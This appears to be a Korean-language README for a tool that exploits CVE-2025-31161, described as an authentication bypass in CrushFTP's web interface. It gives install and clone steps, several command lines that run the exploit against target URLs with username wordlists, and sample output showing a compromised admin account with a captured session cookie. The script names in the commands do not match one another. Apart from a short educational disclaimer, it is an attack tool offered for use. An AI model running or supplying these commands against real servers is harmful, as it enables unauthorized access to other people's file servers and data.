
CrushFTP CVE-2025-31161 익스플로잇 도구 🔓
CVE-2025-31161은 CrushFTP 웹 인터페이스의 심각한 인증 우회 취약점입니다. HTTP Authorization 헤더를 조작하여, 인증되지 않은 공격자가 올바른 비밀번호를 제공하지 않고도 유효한 사용자 이름으로 전체 액세스 권한을 얻을 수 있습니다.
CrushFTP 9.3.8
CrushFTP 9.3.9
CrushFTP 9.3.10
CrushFTP 9.3.11
CrushFTP 9.3.12
CrushFTP Enterprise 9.3.12.5 이전 버전
pip install requests colorama urllib3
pip install requests colorama urllib3
git clone https://github.com/TX-One/CVE-2025-31161.git
cd CVE-2025-31161
python3 tx-crush.py -h
python3 CVE-2025-31161.py -t https://target:8080 -u users.txt -o results.json
-h, --help 도움말 메시지 표시 후 종료
-t, --target TARGET 대상 URL (예: https://example.com:8080)
-u, --users USERS 사용자 이름 목록 파일
-o, --output OUTPUT 출력 JSON 파일
-T, --threads THREADS
스레드 수 (기본값: 5)
--no-ssl SSL 검증 비활성화
--timeout TIMEOUT 요청 시간 초과 (기본값: 15)
--retries RETRIES 재시도 횟수 (기본값: 3)
--force 버전 확인 우회
python3 exploit.py
-t https://vulnerable-server.com:8000
-u ./wordlists/common_users.txt
-o ./results/compromised.json
-T 10
--retries 5
--timeout 20
[
{
"target": "https://victim:8080",
"user": "admin",
"success": true,
"method": "Bearer",
"cookies": {"sessionID": "a1b2c3..."},
"server_version": "CrushFTP/9.3.12"
}
]
[
{
"target": "http://victim:8080",
"user": "admin",
"success": false
}
]
면책 조항: 이 프로젝트는 교육 및 보안 연구 목적으로만 제작되었습니다. 책임 있는 사용이 요구됩니다.